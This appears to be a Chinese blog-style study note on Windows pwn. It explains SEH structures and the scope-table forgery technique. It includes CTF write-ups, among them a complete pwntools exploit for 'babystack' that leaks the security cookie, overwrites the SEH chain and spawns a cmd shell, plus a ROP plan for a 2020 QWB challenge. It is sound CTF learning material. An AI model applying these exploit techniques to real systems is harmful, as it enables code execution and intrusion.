window_pwn

https://www.anquanke.com/post/id/188170#h3-1

SEH相关数据结构

TIB结构

TIB,即线程信息块,是保存线程基本信息的数据结构,它位于TEB的头部。TEB是操作系统为了保存每个线程的数据创建的,每个线程都有自己的TEB

TIB结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _NT_TIB{
struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist;//指向异常处理链表
PVOID StackBase;//当前进程所使用的栈的栈底
PVOID StackLimit;//当前进程所使用的栈的栈顶
PVOID SubSystemTib;
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;//指向TIB结构自身
} NT_TIB;

在这个结构中与异常处理有关的第一个成员:指向_EXCEPTION_REGISTRATION_RECORD结构的Exceptionlist指针

_EXCEPTION_REGISTRATION_RECORD 结构

该结构主要用于描述线程异常处理过程的地址,该结构的链表描述了多个线程异常处理过程的层次关系

结构如下:

1
2
3
4
typedef struct _EXCEPTION_REGISTRATION_RECORD{
struct _EXCEPTION_REGISTRATION_RECORD *Next;//指向下一个结构的指针
PEXCEPTION_ROUTINE Handler;//当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

结构如图所示:

img

格式化之后的这个结构体中的*Next必须是原来的,所以我们要事先泄露出来原*Next

SEH范围表结构

在Scope表中保存了__try块相匹配的__except__finally的地址值
结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct _EH4_SCOPETABLE {
DWORD GSCookieOffset;
DWORD GSCookieXOROffset;
DWORD EHCookieOffset;
DWORD EHCookieXOROffset;
_EH4_SCOPETABLE_RECORD ScopeRecord[1];
};
struct _EH4_SCOPETABLE_RECORD {
DWORD EnclosingLevel;
long (*FilterFunc)();
union {
void (*HandlerAddress)();
void (*FinallyFunc)();
};
};

windows pwn的关键就是伪造scope table结构体,它的地址位于栈上的位置在ebp-0x8,存入的值是和___security_cookie异或者之后的结果,所以我们伪造它,就必须先泄露出来___security_cookie的值

当程序触发异常后,会执行类似这样的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00401B50                 push    ebp
.text:00401B51 mov ebp, esp
.text:00401B53 mov eax, [ebp+arg_C]
.text:00401B56 push eax
.text:00401B57 mov ecx, [ebp+arg_8]
.text:00401B5A push ecx
.text:00401B5B mov edx, [ebp+arg_4]
.text:00401B5E push edx
.text:00401B5F mov eax, [ebp+arg_0]
.text:00401B62 push eax
.text:00401B63 push offset j_@__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401B68 push offset ___security_cookie
.text:00401B6D call _except_handler4_common
.text:00401B72 add esp, 18h
.text:00401B75 pop ebp
.text:00401B76 retn
.text:00401B76 SEH_4013A0 endp

调用了_except_handler4_common函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

// sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;

// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);

if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}

在函数中前置调用了scope table结构体中的FilterFunc函数和HandlerFunc函数,那么我们就可以将这两个函数地址复制为我们的shell代码,当触发异常时就会执行shell代码,即可获取到shell

其他

通过查看我们发现在栈上还有一个特殊的值,位置在ebp-0x1c

img

scope table结构体地址在它的下面,所以我们必须还要格式化这个值。格式化它由两种方法组成,第一种消耗掉出去,构造payload的时候再填充进去即可;另一种方法就是计算出来:值=___security_cookie^ebp

感觉说这么多理论的也不是很能理解,遂做点题来理解理解

不过在64位下的SEH结构体就不在栈上了,利用会更加困难

window下ASLR的脆弱性:

https://www.morphisec.com/blog/aslr-what-it-is-and-what-it-isnt/

  1. DLL的基地址基于启动时随机化,DLL的基地址只在系统启动时会随机化,因此只需结合内存泄露或暴力破解等漏洞即可利用
  2. ASLR不提供有关攻击的信息、发生攻击时ASLR不会发出警报
  3. 地址空间布局随机化 (ASLR) 旨在阻止攻击可靠地到达其目标内存地址。ASLR 的重点并非在于捕获攻击,而是在于使攻击难以得逞。
  4. 如果可执行文件或 DLL 文件未启用 ASLR 支持,则不支持ASLR。

例题

babystack

image-20250506202655846

程序中有着10次的泄露数据,以及给了main和栈的地址,并且有着一个栈溢出的漏洞

因此考虑覆盖SEH结构体以达到getshell的目的

攻击流程:

  • 泄露__security_cookie,他的地址是main_addr+0x2f54;然后泄露_EXCEPTION_REGISTRATION_RECORD结构体中Next成员,通过x32dbg调试可以发现在ebp-0x10的位置就是next字段

    image-20250506214348433

    可以看到这个RECORD结构体是存储在栈上的;然后看到ED0的位置,便是GS即ebp-0x1c的位置

  • 格式hardler结构体

1
2
3
4
5
6
SEH_scope_table = p32(0x0FFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF20)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)
  • 通过栈溢出对内存进行覆盖,使程序异常来触发执行原始的代码段(访问非法内存之类的,理论上来说我可以把返回地址填满null,那么0x0000000处无法访问,会触发SHE;但是这题可以直接访问非法的内存)

这里有个比较容易出错的点就是在v9一开始的4个字节之后会被覆盖,因此要先用b'aaaa'填充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
from ctypes import *
import struct
# context(os='linux' , arch='amd64' , log_level='debug')
context.log_level='debug'
# libc=ELF('./libc.so.6')
path='./babystack.exe'
# elf=ELF(path)

# amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
# ae64 = AE64()

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()
r64 =lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
#fmt('%{one_gadget & 0xffff}c')
local=1

def run():
if local:
return process(path)
return remote('127.0.0.1',1234)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, duan)
else:
gdb.attach(p)
pause()

p = run()

ru(b'stack address = 0x')
stack_address = int(ru(b'\n'),16)
leak("stack_address",stack_address)
ru(b'0x')
main_addr = int(ru(b'\n'),16)
leak("main_address",main_addr)

___security_cookie_addr=main_addr+0x2F54
sla(b'more?\r\n',b'yes')
sla(b'Where do you want to know\r\n',str(___security_cookie_addr).encode())
ru(b'0x')
ru(b'0x')
___security_cookie_value=int(ru(b'\n'),16)
leak("__security_cookie_value",___security_cookie_value)

ebp_addr=stack_address+0x9C
gs_addr=ebp_addr-0x1C
next_addr=ebp_addr-0x10

sla(b'more?\r\n',b'yes')
sla(b'Where do you want to know\r\n',str(gs_addr).encode())
ru(b'0x')
ru(b'0x')
gs_value=int(ru(b'\n'),16)
leak("gs_value",gs_value)

sla(b'more?\r\n',b'yes')
sla(b'Where do you want to know\r\n',str(next_addr).encode())
ru(b'0x')
ru(b'0x')
next_value=int(ru(b'\n'),16)
leak("next_value",next_value)

shell_addr=main_addr+0x2DD

SEH_scope_table = p32(0x0FFFFFFE4)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFF20)
SEH_scope_table += p32(0)
SEH_scope_table += p32(0xFFFFFFFE)
SEH_scope_table += p32(shell_addr)

# payload=SEH_scope_table.ljust(0x80,b'a')+p32(ebp_addr^___security_cookie_value)+b'b'*8+p32(next_value)+p32(main_addr + 944)
# payload+=p32(stack_address^___security_cookie_value)+p32(0)
payload = b"a"*4+SEH_scope_table.ljust(0x80-4,b"\x22")+p32(ebp_addr^___security_cookie_value)+b"b"*8+p32(next_value)
payload+= p32(main_addr + 944)+p32((stack_address+4)^___security_cookie_value)+p32(0)

# pause()
sla(b'more?\r\n',b'1')
sl(payload)

sla(b'more?\r\n',b'yes')
sla(b'Where do you want to know\r\n',b'0')

irt()
1
2
3
4
Microsoft Windows [�汾 10.0.22631.5189]
(c) Microsoft Corporation����������Ȩ����

D:\win_pwn\babystack>

总结一下:

如果在32位的windows下,要打SEH需要以下的条件:

  1. 泄露__security_cookie(codebase+offset)
  2. 可以泄露栈上的数据(GS、next_value

2020qwb_stackoverflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // rax
FILE *v5; // rax
int v6; // ebx
char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF

v3 = _acrt_iob_func(0);
setbuf(v3, 0LL);
v4 = _acrt_iob_func(1u);
setbuf(v4, 0LL);
v5 = _acrt_iob_func(2u);
setbuf(v5, 0LL);
v6 = 3;
do
{
--v6;
memset(DstBuf, 0, sizeof(DstBuf));
puts("input:");
read(0, DstBuf, 0x400u);
puts("buffer:");
puts(DstBuf);
}
while ( v6 > 0 );
return 0;
}

可以显然看到有一个栈溢出和数据的泄露

基本上保护都开启了

思路:

  1. 首先泄露codebase的地址,为之后多次泄露地址做准备,之后泄露第一次的cookie然后就重新一次main
  2. 然后尝试泄露ucrtbase.dll的基址
  3. ROP打system(“cmd”)

但是在栈上没发现直接的ucrtbase的地址,在windows的IAT中,类似Linux中的got表,通过泄露这个IAT的数据需要拿到程序的基地址

就不再多赘述

调试过程

首先通过win_server

1
win_server ./babyoverflow.exe 1234

将这个服务映射到本地127.0.0.11234端口上

然后就可以用pwntools来

1
remote("127.0.0.1",1234)

来访问这个服务

然后通过x32dbg或x64dbg的文件->附加->选择对应的进程pid,就可以进行调试辣

记住在python脚本中要在准备调试的地方前用pause()停下